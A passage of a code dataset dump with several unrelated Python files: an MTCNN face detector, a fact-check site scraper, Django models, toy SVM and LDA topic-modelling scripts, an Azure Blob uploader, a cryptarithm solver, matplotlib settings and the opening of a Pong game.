= 12\n factor = 0.707 # sqrt(0.5)\n\n # scales for scaling the image\n scales = []\n\n # scales the image so that\n # minimum size that we can detect equals to\n # minimum face size that we want to detect\n m = min_detection_size/min_face_size\n min_length *= m\n\n factor_count = 0\n while min_length > min_detection_size:\n scales.append(m*factor**factor_count)\n min_length *= factor\n factor_count += 1\n\n # STAGE 1\n\n # it will be returned\n bounding_boxes = []\n\n # run P-Net on different scales\n for s in scales:\n boxes = self.run_first_stage(image, scale=s, threshold=thresholds[0])\n bounding_boxes.append(boxes)\n\n # collect boxes (and offsets, and scores) from different scales\n bounding_boxes = [i for i in bounding_boxes if i is not None]\n if len(bounding_boxes) == 0:\n return [], []\n\n bounding_boxes = np.vstack(bounding_boxes)\n\n keep = nms(bounding_boxes[:, 0:5], nms_thresholds[0])\n bounding_boxes = bounding_boxes[keep]\n\n # use offsets predicted by pnet to transform bounding boxes\n bounding_boxes = calibrate_box(bounding_boxes[:, 0:5], bounding_boxes[:, 5:])\n # shape [n_boxes, 5]\n\n bounding_boxes = convert_to_square(bounding_boxes)\n bounding_boxes[:, 0:4] = np.round(bounding_boxes[:, 0:4])\n\n # STAGE 2\n\n img_boxes = get_image_boxes(bounding_boxes, image, size=24)\n img_boxes = torch.FloatTensor(img_boxes)\n img_boxes = img_boxes.to(self.device)\n output = self.rnet(img_boxes)\n offsets = output[0].data.cpu().numpy() # shape [n_boxes, 4]\n probs = output[1].data.cpu().numpy() # shape [n_boxes, 2]\n\n keep = np.where(probs[:, 1] > thresholds[1])[0]\n bounding_boxes = bounding_boxes[keep]\n bounding_boxes[:, 4] = probs[keep, 1].reshape((-1,))\n offsets = offsets[keep]\n\n keep = nms(bounding_boxes, nms_thresholds[1])\n bounding_boxes = bounding_boxes[keep]\n bounding_boxes = calibrate_box(bounding_boxes, offsets[keep])\n bounding_boxes = convert_to_square(bounding_boxes)\n bounding_boxes[:, 0:4] = np.round(bounding_boxes[:, 0:4])\n\n # STAGE 3\n\n img_boxes = get_image_boxes(bounding_boxes, image, size=48)\n if len(img_boxes) == 0:\n return [], []\n else:\n img_boxes = torch.FloatTensor(img_boxes)\n img_boxes = img_boxes.to(self.device)\n output = self.onet(img_boxes)\n landmarks = output[0].data.cpu().numpy() # shape [n_boxes, 10]\n offsets = output[1].data.cpu().numpy() # shape [n_boxes, 4]\n probs = output[2].data.cpu().numpy() # shape [n_boxes, 2]\n\n keep = np.where(probs[:, 1] > thresholds[2])[0]\n bounding_boxes = bounding_boxes[keep]\n bounding_boxes[:, 4] = probs[keep, 1].reshape((-1,))\n offsets = offsets[keep]\n landmarks = landmarks[keep]\n\n # compute landmark points\n width = bounding_boxes[:, 2] - bounding_boxes[:, 0] + 1.0\n height = bounding_boxes[:, 3] - bounding_boxes[:, 1] + 1.0\n xmin, ymin = bounding_boxes[:, 0], bounding_boxes[:, 1]\n landmarks[:, 0:5] = np.expand_dims(xmin, 1) + np.expand_dims(width, 1)*landmarks[:, 0:5]\n landmarks[:, 5:10] = np.expand_dims(ymin, 1) + np.expand_dims(height, 1)*landmarks[:, 5:10]\n\n bounding_boxes = calibrate_box(bounding_boxes, offsets)\n keep = nms(bounding_boxes, nms_thresholds[2], mode='min')\n bounding_boxes = bounding_boxes[keep]\n landmarks = landmarks[keep]\n\n bounding_boxes = self._prepare_bounding_boxes_result(bounding_boxes, original_width, original_height)\n\n return bounding_boxes, landmarks\n\n def run_first_stage(self, image, scale, threshold):\n \"\"\"Run P-Net, generate bounding boxes, and do NMS.\n\n Arguments:\n image: an instance of PIL.Image.\n net: an instance of pytorch's nn.Module, P-Net.\n scale: a float number,\n scale width and height of the image by this number.\n threshold: a float number,\n threshold on the probability of a face when generating\n bounding boxes from predictions of the net.\n\n Returns:\n a float numpy array of shape [n_boxes, 9],\n bounding boxes with scores and offsets (4 + 1 + 4).\n \"\"\"\n\n # scale the image and convert it to a float array\n height, width = image.shape[:2]\n sw, sh = math.ceil(width * scale), math.ceil(height * scale)\n img = cv2.resize(image, (sw, sh))\n img = np.asarray(img, 'float32')\n\n img = torch.FloatTensor(_preprocess(img))\n img = img.to(self.device)\n output = self.pnet(img)\n probs = output[1].data.cpu().numpy()[0, 1, :, :]\n offsets = output[0].data.cpu().numpy()\n # probs: probability of a face at each sliding window\n # offsets: transformations to true bounding boxes\n\n boxes = self._generate_bboxes(probs, offsets, scale, threshold)\n if len(boxes) == 0:\n return None\n\n keep = nms(boxes[:, 0:5], overlap_threshold=0.5)\n return boxes[keep]\n\n @staticmethod\n def _generate_bboxes(probs, offsets, scale, threshold):\n \"\"\"Generate bounding boxes at places\n where there is probably a face.\n\n Arguments:\n probs: a float numpy array of shape [n, m].\n offsets: a float numpy array of shape [1, 4, n, m].\n scale: a float number,\n width and height of the image were scaled by this number.\n threshold: a float number.\n\n Returns:\n a float numpy array of shape [n_boxes, 9]\n \"\"\"\n\n # applying P-Net is equivalent, in some sense, to\n # moving 12x12 window with stride 2\n stride = 2\n cell_size = 12\n\n # indices of boxes where there is probably a face\n inds = np.where(probs > threshold)\n\n if inds[0].size == 0:\n return np.array([])\n\n # transformations of bounding boxes\n tx1, ty1, tx2, ty2 = [offsets[0, i, inds[0], inds[1]] for i in range(4)]\n # they are defined as:\n # w = x2 - x1 + 1\n # h = y2 - y1 + 1\n # x1_true = x1 + tx1*w\n # x2_true = x2 + tx2*w\n # y1_true = y1 + ty1*h\n # y2_true = y2 + ty2*h\n\n offsets = np.array([tx1, ty1, tx2, ty2])\n score = probs[inds[0], inds[1]]\n\n # P-Net is applied to scaled images\n # so we need to rescale bounding boxes back\n bounding_boxes = np.vstack([\n np.round((stride * inds[1] + 1.0) / scale),\n np.round((stride * inds[0] + 1.0) / scale),\n np.round((stride * inds[1] + 1.0 + cell_size) / scale),\n np.round((stride * inds[0] + 1.0 + cell_size) / scale),\n score, offsets\n ])\n # why one is added?\n\n return bounding_boxes.T\n\n @staticmethod\n def _prepare_bounding_boxes_result(bounding_boxes, image_width, image_height):\n result = []\n for i in range(0, bounding_boxes.shape[0]):\n confidence = bounding_boxes[i, 4]\n\n (x1, y1, x2, y2) = bounding_boxes[i, :4].astype('int')\n\n if x1 < 0:\n x1 = 0\n if y1 < 0:\n y1 = 0\n\n if x2 > image_width - 1:\n x2 = image_width - 1\n if y2 > image_height - 1:\n y2 = image_height - 1\n\n if x1 < x2 and y1 < y2:\n result += [[x1, y1, x2, y2, confidence]]\n\n return result\n\n\ndef get_biggest_face(boxes):\n\n if len(boxes) == 0:\n return None\n\n (x1, y1, x2, y2) = boxes[0][:4]\n max_square = (x2 - x1) * (y2 - y1)\n biggest = boxes[0]\n\n for box in boxes:\n (x1, y1, x2, y2) = box[:4]\n square = (x2 - x1) * (y2 - y1)\n\n if square > max_square:\n max_square = square\n biggest = box\n\n return biggest\n","sub_path":"mtcnn_pytorch/src/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":11134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"321479010","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\"\"\"\n从腾讯较真平台获取谣言数据\n@author: lqhou\n@file: get_data.py\n@time: 2020/02/14\n\"\"\"\nfrom bs4 import BeautifulSoup\nimport requests\n\nid_list = []\nlabel_list = []\nlabel_set = set()\nfor i in range(31):\n url = \"https://vp.fact.qq.com/loadmore?artnum=0&page=\" + str(i)\n json_data = requests.get(url).json()\n\n news_list = json_data['content']\n\n for news in news_list:\n id_list.append(news['id'])\n label_list.append(news['markstyle'])\n label_set.add(news['markstyle'])\n\n# print(label_set)\nlabel_id = {'true': '0', 'fake': '1', 'doubt': '1'}\n\nwith open(\"./get_data/test.tsv\", \"w\") as file:\n for id_item, label in zip(id_list, label_list):\n response = requests.get('https://vp.fact.qq.com/article?id=' + id_item)\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n js = str(soup.findAll(\"script\"))\n lens = len(str(\"originRumor = `\"))\n begin = js.find(\"originRumor = `\")\n end = js.find(' (function (win, doc) {')\n data = js[begin+lens:end]\n data = data.strip()\n data = data[:-2]\n file.write(label_id[label] + \"\\t\" + data.replace('\\n', '').replace('\\r', '') + \"\\n\")\n\n\n\n","sub_path":"fake_news/get_data/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"558827777","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nclass Effect(models.Model):\n name = models.CharField(max_length=200, verbose_name=_('name'))\n action = models.ForeignKey('actions.Action', verbose_name=_('action'))\n \n def __unicode__(self):\n return self.name\n \n class Meta:\n verbose_name = _('effect')\n verbose_name_plural = _('effects')\n \nclass ApEffect(Effect):\n ap = models.IntegerField(verbose_name=_('ap'))\n \n def save(self):\n self.name = _('%(ap)s AP on %(action)s') % {'ap': unicode(self.ap), 'action': self.action.name}\n super(Effect,self).save()\n \n class Meta:\n verbose_name = _('ap effect')\n verbose_name_plural = _('ap effects')","sub_path":"effects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"447111217","text":"import random\nimport unit\nimport svm\n\nstep = .05\ndata = [(1.2, .7), (-.3, .5), (-3, -1), (.1, 1), (3, 1.1), (2.1, -3)]\nlabels = [1, -1, 1, -1, -1, 1]\n\n\ndef test_accuracy():\n\n\tcorrect = 0\n\tfor i in range(len(data)):\n\t\tx = unit.Unit(data[i][0], 0)\n\t\ty = unit.Unit(data[i][1], 0)\n\t\ttrue_label = labels[i]\n\n\t\tout = svm.forward(x, y)\n\t\tif out.value > 0 and true_label == 1:\n\t\t\tcorrect += 1\n\t\tif out.value < 0 and true_label == -1:\n\t\t\tcorrect += 1\n\n\treturn correct / len(data)\n\n\nsvm = svm.SVM(3, -2, 2)\n\nfor i in range(1000):\n\tindex = int(random.random() * (len(data) - 1))\n\n\tx = unit.Unit(data[index][0], 0)\n\ty = unit.Unit(data[index][1], 0)\n\tlabel = labels[index]\n\n\tsvm.run(x, y, label, step)\n\n\tif i % 50 == 0:\n\t\tprint(test_accuracy())\n","sub_path":"learn.py","file_name":"learn.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"134236629","text":"from twisted.internet import reactor\nfrom twisted.internet.defer import inlineCallbacks\nfrom autobahn.twisted.wamp import ApplicationSession, ApplicationRunner\nfrom autobahn.twisted.util import sleep\nimport random\n\n\nclass Caller(ApplicationSession):\n @inlineCallbacks\n def onJoin(self, details):\n print(\"Caller session attached\", self.is_connected())\n\n i = 0\n while i < 20:\n try:\n x = yield self.generate()\n print(x)\n self.call('com.zc.receiver.show', x)\n except:\n self.publish('com.zc.genreader.exception', Exception.__dict__)\n finally:\n i += 1\n yield sleep(random.randrange(1, 3, 1))\n\n def generate(self):\n v = {0: str(random.randrange(14, 17, 1)), 1: format(random.randrange(1, 12, 1), '02d'),\n 2: format(random.randrange(1, 31, 1), '02d'), 3: '-', 4: str(random.randrange(1, 3, 1)), 5: '-',\n 6: str(random.randrange(1, 2, 1))}\n x = \"\".join(v.values())\n return x\n\n\ndef run():\n runner = ApplicationRunner(u'ws://localhost:8080/ws', u'fmg')\n runner.run(Caller)\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"tests/local/test_crossbar_caller.py","file_name":"test_crossbar_caller.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"362225925","text":"import itertools\r\nimport string\r\n\r\n\r\ndef correct_vals(p, puzzle):\r\n op1, op, op2, e, r = break_puzzle(puzzle.translate(p))\r\n\r\n return eval(op1 + op + op2 + \"==\" + r)\r\n\r\ndef break_puzzle(puzzle):\r\n return tuple(puzzle.upper().split())\r\n\r\ndef get_unique_letters(puzzle):\r\n return [i for i in set(''.join(break_puzzle(puzzle))) if i.isalpha()]\r\n\r\ndef get_starting_letters(puzzle, letters):\r\n return [i for i in range(len(letters)) if letters[i] == break_puzzle(puzzle)[0][0] or letters[i] == break_puzzle(puzzle)[2][0] or letters[i] == break_puzzle(puzzle)[4][0]]\r\n\r\ndef get_valid_permutations(puzzle):\r\n digits = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\r\n letters = get_unique_letters(puzzle)\r\n critical_indices = get_starting_letters(puzzle, letters)\r\n poss_perms = []\r\n for perm in itertools.permutations(digits, len(letters)):\r\n flag = 0\r\n for i in critical_indices:\r\n if perm[i] == '0':\r\n flag = 1\r\n break\r\n if flag == 0:\r\n poss_perms.append(perm)\r\n return poss_perms\r\n\r\ndef solve(puzzle):\r\n letters = get_unique_letters(puzzle)\r\n if len(letters) > 10:\r\n print(\"INVALID EQUATION : more than one letter maps to same digit\")\r\n return\r\n for poss in get_valid_permutations(puzzle):\r\n p = str.maketrans(' '.join(letters), ' '.join(poss))\r\n if correct_vals(p,puzzle):\r\n answer = dict(zip(letters, poss))\r\n #print(answer)\r\n solved_puzzle = puzzle\r\n for c in answer:\r\n x = solved_puzzle.replace(c, answer[c])\r\n solved_puzzle = x\r\n return answer,solved_puzzle\r\n","sub_path":"concept.py","file_name":"concept.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"240140007","text":"import numpy as np\nimport cv2\n\n##Basierend auf http://www.bogotobogo.com/python/OpenCV_Python/python_opencv3_mean_shift_tracking_segmentation.php\n##Klasse der Objekttracker\nclass trackobject():\n #Initiieren neuen Tracker auf deinem bestimmten Frame mit Objekt und einer Lebensdauer\n def __init__(self, count, object, frame):\n y = object['topleft']['y']\n h = object['bottomright']['y'] - object['topleft']['y']\n x = object['topleft']['x']\n w = object['bottomright']['x'] - object['topleft']['x']\n\n self.object = object\n self.trackhistory = []\n self.track_window = (x, y, w, h)\n self.IDobject = object['ID']\n self.yolo = object\n center = getcenter(self.track_window)\n self.distance = getdistance(center, frame)\n\n # set up the ROI for tracking\n self.roi = frame[y:y+h, x:x+w]\n self.hsv_roi = cv2.cvtColor(self.roi, cv2.COLOR_RGB2HSV)\n\n self.maskinv = cv2.inRange(self.hsv_roi, np.array((0, 0, 0)), np.array((180, 255, 160)))\n self.mask = cv2.bitwise_not(self.maskinv)\n\n self.roi_hist = cv2.calcHist([self.hsv_roi], [0], self.maskinv, [180], [0, 180])\n cv2.normalize(self.roi_hist, self.roi_hist, 0, 255, cv2.NORM_MINMAX)\n\n self.term_crit = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 1)\n\n self.maxcount = count\n self.currentcount = 0\n self.trackhistory = []\n\n '''\n #Tests zum Anpassen der Maske\n for h in range(0, 180, 15):\n for v in range(0, 255, 50):\n for s in range(0, 255, 50):\n lower = np.array([0, 0, 0])\n higher = np.array([h, v, s])\n mask = cv2.inRange(self.hsv_roi, lower, higher)\n cv2.imwrite(\"NewObject_ID_\" + str(self.IDobject) + str(h) + \"V_\" + str(v) + \"S_\" + str(s) + \".jpg\",mask)\n \n for s in range(100, 255, 20):\n lower = np.array([0, 0, 0])\n higher = np.array([180, 255, s])\n mask = cv2.inRange(self.hsv_roi, lower, higher)\n cv2.imwrite(\"NewObject_ID_\" + str(self.IDobject) + \"Param_\" + \"S_\" + str(s) + \".jpg\",mask)\n\n'''\n\n #Testzur Ausgabe der Maske\n\n cv2.imwrite(\"NewObject_ID_\"+ str(self.IDobject) +\"_maskinv.jpg\", self.maskinv)\n cv2.imwrite(\"NewObject_ID_\"+ str(self.IDobject) +\"_maskfinal.jpg\", self.mask)\n cv2.imwrite(\"NewObject_ORIGNAL_ID_\" + str(self.IDobject) +\".jpg\", self.roi)\n\n #Methode zum Ersetzen des bestehenden Objektes durch ein neues Objekt\n #Es wird eine neue Region of Interest erzeugt\n def update(self, object, frame):\n y = object['topleft']['y']\n h = object['bottomright']['y'] - object['topleft']['y']\n x = object['topleft']['x']\n w = object['bottomright']['x'] - object['topleft']['x']\n self.object = object\n self.track_window = (x, y, w, h)\n self.yolo = object\n self.currentcount = 0\n center = getcenter(self.track_window)\n self.distance = getdistance(center, frame)\n\n # set up the ROI for tracking\n self.roi = frame[y:y+h, x:x+w]\n self.hsv_roi = cv2.cvtColor(self.roi, cv2.COLOR_RGB2HSV)\n\n self.maskinv = cv2.inRange(self.hsv_roi, np.array((0, 0, 0)), np.array((180, 255, 160)))\n self.mask = cv2.bitwise_not(self.maskinv)\n\n self.roi_hist = cv2.calcHist([self.hsv_roi], [0], self.maskinv, [180], [0, 180])\n cv2.normalize(self.roi_hist, self.roi_hist, 0, 255, cv2.NORM_MINMAX)\n\n def getcurrenttrackwindow(self):\n return self.track_window\n\n def setcurrenttrackwindow(self,window):\n self.track_window = window\n\n def getcenterhistory(self):\n return self.trackhistory\n\n def getcurrentcount(self):\n return self.currentcount\n\n def setcurrentcount(self, count):\n self.currentcount = count\n\n def getyoloparameters(self):\n return self.yolo\n\n #Methode zum finden der neuen Position mithilfe der bestehenden Region of Interest\n def nextimage(self, frame):\n self.currentcount = self.currentcount + 1\n\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n dst = cv2.calcBackProject([hsv], [0], self.roi_hist, [0, 180], 1)\n\n # apply meanshift to get the new location\n ret, newtrack_window = cv2.meanShift(dst, self.track_window, self.term_crit)\n center = getcenter(newtrack_window)\n self.distance = getdistance(center, frame)\n self.trackhistory.append(center)\n self.track_window = newtrack_window\n stop = False\n if self.maxcount < self.currentcount:\n stop = True\n\n return stop\n\n #Methode zum Einzeichnen im Cockpit\n def drawobjectBB(self, frame):\n if self.currentcount > 0:\n outputstring = \"ID: \" + str(self.IDobject) +' '+ self.yolo['label'] + \"_MEANSHIFT_d: \" + str(self.distance) + \" Meter\"\n x,y,w,h = self.track_window\n else:\n outputstring = \"ID: \" + str(self.IDobject) +' '+ self.yolo['label'] + \" d: \"+ str(self.distance) + \" Meter\"\n x = self.yolo['topleft']['x']\n y = self.yolo['topleft']['y']\n w = self.yolo['bottomright']['x'] - self.yolo['topleft']['x']\n h = self.yolo['bottomright']['y'] - self.yolo['topleft']['y']\n\n labelcolor = (255,255,255)\n if self.yolo['label']=='person':\n labelcolor = (82, 34, 139)\n\n elif self.yolo['label']=='train':\n labelcolor = (127, 255, 0)\n\n elif self.yolo['label']=='car':\n labelcolor = (0, 238, 0)\n elif self.yolo['label']=='motorcycle':\n labelcolor = (0, 255, 127)\n\n cv2.putText(frame,outputstring,(x,y-5), cv2.FONT_HERSHEY_PLAIN, 1 ,labelcolor, 2,cv2.LINE_AA)\n cv2.rectangle(frame, (x,y), (x+w,y+h), labelcolor,2)\n\n\n\n#Ermittelt das Zentrum einer Bounding Box\ndef getcenter(window):\n center_x = int(round(window[0] + window[2] / 2,0))\n center_y = int(round(window[1] + window[3] / 2,0))\n return center_x, center_y\n\n#TEST-Methode zur Ermittlung der Entfernung anhand der x und y-Koordinate\ndef getdistance(point, frame):\n height, width, depth = frame.shape\n xpercent = point[0]/width\n ypercent = (height-point[1])/height\n\n if xpercent > 0.5:\n xpercent = xpercent-0.5\n if -2.67*xpercent + 0.8 < ypercent: #Punkt liegt auf der rechten Bildhälfte außerhalb des Schienenbetts\n yanschiene = max(-2.67*xpercent + 0.8,0)\n dist = yanschiene*yanschiene*yanschiene*200\n else: #Punkt liegt auf der rechten Bildhälfte innerhalb des Schienenbetts\n dist = ypercent*ypercent*ypercent*200\n else:\n if 1.14*xpercent +0.23 > ypercent: #Punkt liegt auf der linken Seite im Schienenbett\n dist = ypercent*ypercent*ypercent*200\n else: #Punkt liegt auf der linken Bildhälfte außerhalb des Schienenbetts\n yanschiene = 1.14*xpercent +0.23\n dist = yanschiene*yanschiene*yanschiene*200\n\n dist = round(dist,0)\n return dist\n\n","sub_path":"tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":7081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"606938241","text":"import matplotlib\n\n\ndef apply_default_figure_settings():\n my_font = {'sans-serif': 'Arial'}\n # my_font = {'family':'sans-serif',\n # 'sans-serif':'DejaVu Sans',\n # 'weight':'normal'}\n # my_font.update({'size': 16})\n matplotlib.rc('font', **my_font)\n\n# font = {'family' : 'sans-serif',\n# 'sans-serif': ['Computer Modern Sans serif'],\n# 'size' : 11,\n# 'weight' : 'normal'\n# }\n\n my_mathtext = dict(fontset='stixsans')\n matplotlib.rc('mathtext', **my_mathtext)\n\n my_axes = {'formatter.useoffset': False}\n matplotlib.rc('axes', **my_axes)\n\n # my_xtick = {'major.pad': 8,\n # 'minor.pad': 8}\n # matplotlib.rc('xtick', **my_xtick)\n\n # beware setting this to True breaks some analysis\n matplotlib.rc('text', usetex=False)\n # Saving figures can take a significant amount of time. Setting the dpi\n # much higher leads to slower scripts. Much lower leads to low resolution\n matplotlib.rc('figure', dpi=300)\n\n # my_latex = {'preamble':[\n # # r'\\usepackage{tgheros}', # helvetica font\n # r'\\usepackage{sansmath}', # math-font matching helvetica\n # r'\\sansmath' # actually tell tex to use it!\n # r'\\usepackage{siunitx}', # micro symbols\n # r'\\sisetup{detect-all}', # force siunitx to use the fonts\n # ]}\n # matplotlib.rc('text.latex',**my_latex)\n\n # ax.ticklabel_format(useOffset=False)\n\n # figure = {'subplot.bottom': 0.1,\n # 'subplot.left': 0.15}\n # figure.subplot.hspace: 0.2\n # figure.subplot.left: 0.125\n # figure.subplot.right: 0.9\n # figure.subplot.top: 0.9\n # figure.subplot.wspace: 0.2}\n # matplotlib.rc('figure',**figure)\n\n # legend = {'frameon':False,\n # 'fontsize':'small'}\n # legend = {'numpoints': 1,\n # 'fontsize': 14,\n # 'loc': 'best',\n # 'framealpha': 0.5}\n # matplotlib.rc('legend', **legend)\n\n\ndef apply_figure_settings(settings_name, settings_dict):\n matplotlib.rc(settings_name, **settings_dict)\n","sub_path":"pycqed/analysis_v2/default_figure_settings_analysis.py","file_name":"default_figure_settings_analysis.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"57628706","text":"import os, uuid\nimport argparse\nfrom pathlib import Path\nfrom azure.storage.blob import BlobServiceClient, BlobClient, ContainerClient, __version__\n\ntry:\n # Parse program parameters\n parser = argparse.ArgumentParser(description='Program parameters needed on this application')\n\n parser.add_argument('--model_name', required=True, type=str, help='The unique name of the model')\n parser.add_argument('--xml_file_path', required=True, type=str, help='The path of xml file')\n parser.add_argument('--bin_file_path', required=True, type=str, help='The path of bin file')\n parser.add_argument('--connection_string', required=False, type=str, help='The connection string to access Azure BLOB storage', default=\"AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;DefaultEndpointsProtocol=http;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1;\")\n\n args = parser.parse_args()\n\n model_name = args.model_name\n\n # Retrieve the connection string for use with the application.\n connect_str = args.connection_string\n\n # Create the BlobServiceClient object which will be used to create a container client\n blob_service_client = BlobServiceClient.from_connection_string(connect_str)\n\n # Create a unique name for the container\n container_name = \"ovms\"\n\n # Create a file in the local data directory to upload and download\n upload_xml_file_path = args.xml_file_path\n upload_xml_file_name = model_name + \"/1/\" + Path(upload_xml_file_path).name\n upload_bin_file_path = args.bin_file_path\n upload_bin_file_name = model_name + \"/1/\" + Path(upload_bin_file_path).name\n\n # Create the container.\n try:\n container_client = blob_service_client.create_container(container_name)\n except Exception as excp:\n print('Exception:')\n print(excp)\n \n # Create a blob client using the local xml file name as the name for the blob\n blob_client = blob_service_client.get_blob_client(container=container_name, blob=upload_xml_file_name)\n\n print(\"\\nUploading to Azure Storage as blob:\\n\\t\" + upload_xml_file_name)\n\n # Upload the created file\n with open(upload_xml_file_path, \"rb\") as data:\n blob_client.upload_blob(data)\n\n # Create a blob client using the local bin file name as the name for the blob\n blob_client = blob_service_client.get_blob_client(container=container_name, blob=upload_bin_file_name)\n\n print(\"\\nUploading to Azure Storage as blob:\\n\\t\" + upload_bin_file_name)\n\n # Upload the created file\n with open(upload_bin_file_path, \"rb\") as data:\n blob_client.upload_blob(data)\n\nexcept Exception as ex:\n print('Exception:')\n print(ex)\n\n","sub_path":"scripts/UploadModelFilesToAzureStorage.py","file_name":"UploadModelFilesToAzureStorage.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"140491456","text":"'''\r\nAula 07:\r\nEx 07 da Lista da Aula 05:\r\nObjetivo: Soma dos termos da série S\r\nEntrada: Nenhuma\r\nSaída: A soma dos termos da série S\r\n'''\r\n\r\nS=0\r\nsinal=1\r\ncadeia=\"\"\r\nfor cont in range(1,11):\r\n S=S + sinal/cont\r\n cadeia = cadeia + \" \" + str(sinal)+\"/\"+str(cont)\r\n sinal=sinal*(-1)\r\n sinal+=1\r\nprint(S)\r\nprint(cadeia)\r\n \r\n \r\n","sub_path":"1 semestre/Aula_07_Aula_05_Ex_07_Lista_Serie_S.py","file_name":"Aula_07_Aula_05_Ex_07_Lista_Serie_S.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"556419387","text":"import pandas as pd\r\nfrom wordcloud import WordCloud\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.decomposition import LatentDirichletAllocation\r\nfrom nltk.stem import WordNetLemmatizer\r\nimport pyLDAvis.sklearn\r\n\r\n\r\ndef lemma_text(text):\r\n lemmatizer = WordNetLemmatizer()\r\n return [lemmatizer.lemmatize(word) for word in text]\r\n\r\n\r\nmain_df = pd.read_csv('2000.csv', usecols=['Body', 'Publication Day Of Month', 'Publication Month', 'Publication Year'])\r\n\r\n# Remove NaN values, lowercase contents of Body column, filters for bush and gore and resets the index\r\nprint(main_df.shape)\r\nmain_df.dropna(subset=['Body'], inplace=True)\r\nprint(main_df.shape)\r\n\r\nmain_df['Body'] = main_df['Body'].str.lower()\r\nmain_df = main_df[main_df['Body'].str.contains('gore|bush')]\r\nmain_df = main_df.reset_index(drop=True)\r\n\r\n# Create a single date column from day, month and year columns\r\nmain_df['Date'] = pd.to_datetime(\r\n main_df['Publication Year'] * 10000 + main_df['Publication Month'] * 100 + main_df['Publication Day Of Month'],\r\n format='%Y%m%d')\r\nmain_df.drop(['Publication Year', 'Publication Month', 'Publication Day Of Month'], axis=1, inplace=True)\r\nprint(main_df.shape)\r\n\r\n# Temporary check on first N documents\r\n# main_df = main_df[:2000]\r\n\r\n# Remove unnecessary symbols, numbers, words less than 3 characters and apply lemmatizer\r\nmain_df['Body'].replace(['[,\\.!?]', '\\d+', r'\\b(\\w{1,2})\\b'], '', inplace=True, regex=True)\r\nmain_df['Body'].apply(lemma_text)\r\nmain_df['Body'] = main_df['Body'].str.replace('said', '', regex=False)\r\nprint(main_df['Body'].head(10))\r\n\"\"\"\r\n#Generate Wordcloud\r\nstring_check = main_df['Body'].str.cat(sep=' ')\r\n\r\nwordcloud = WordCloud(background_color='white', max_words=1000, contour_width=3, contour_color='steelblue')\r\nwordcloud.generate(string_check)\r\n\r\nplt.imshow(wordcloud, interpolation='bilinear')\r\nplt.axis(\"off\")\r\nplt.show()\r\n\"\"\"\r\n# Generate doc-term matrix\r\ncv = CountVectorizer(stop_words='english', max_df=3500)\r\nft_cv = cv.fit_transform(main_df['Body'])\r\nvocabulary = cv.get_feature_names()\r\n\r\ndoc_term_matrix = pd.DataFrame(ft_cv.toarray(), columns=vocabulary)\r\nprint(doc_term_matrix.head(20))\r\n\r\n# Fit LDA model to doc-term matrix\r\nk = 15\r\nlda = LatentDirichletAllocation(n_components=k)\r\n\r\nlda.fit(ft_cv)\r\n\r\nprint('log likelihood score, 15 topics: ' + str(lda.score(ft_cv)))\r\n\r\nfor i, topic in enumerate(lda.components_):\r\n print('topic ' + str(i))\r\n topic_words = [vocabulary[j] for j in topic.argsort()]\r\n for word in topic_words[:-4:-1]:\r\n print(word)\r\n\r\np = pyLDAvis.sklearn.prepare(lda, ft_cv, cv)\r\npyLDAvis.save_html(p, 'lda.html')\r\n\r\n# Generate doc-topic matrix\r\nlda_out = lda.transform(ft_cv)\r\ndoc_topic_matrix = pd.DataFrame(lda_out)\r\ndoc_topic_matrix['Date'] = main_df['Date']\r\nprint(doc_topic_matrix.head(100))\r\nprint(doc_topic_matrix.shape)\r\n\r\naggregator = {i: 'sum' for i in range(k)}\r\ncoverage_curve = doc_topic_matrix.groupby(['Date']).agg(aggregator).head(100)\r\nprint(coverage_curve)\r\nprint(coverage_curve.shape)\r\n","sub_path":"JH SKlearn Topics.py","file_name":"JH SKlearn Topics.py","file_ext":"py","file_size_in_byte":3065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"186444658","text":"#http://www.codeskulptor.org/#user30_lfTcyKK727BW8KH.py\n\n# PONG GAME\n# By MrL\n\n#Importing modules\nimport simplegui\nimport random\n\n#Initialize globals variables\nwidth = 600\nheight = 400 \nball_radius = 20\npad_width = 8\npad_height = 80\nhalf_pad_width = pad_width / 2\nhalf_pad_height = pad_height / 2\nright=1\nleft=0\ntime=0\n# Initialize ball_pos and 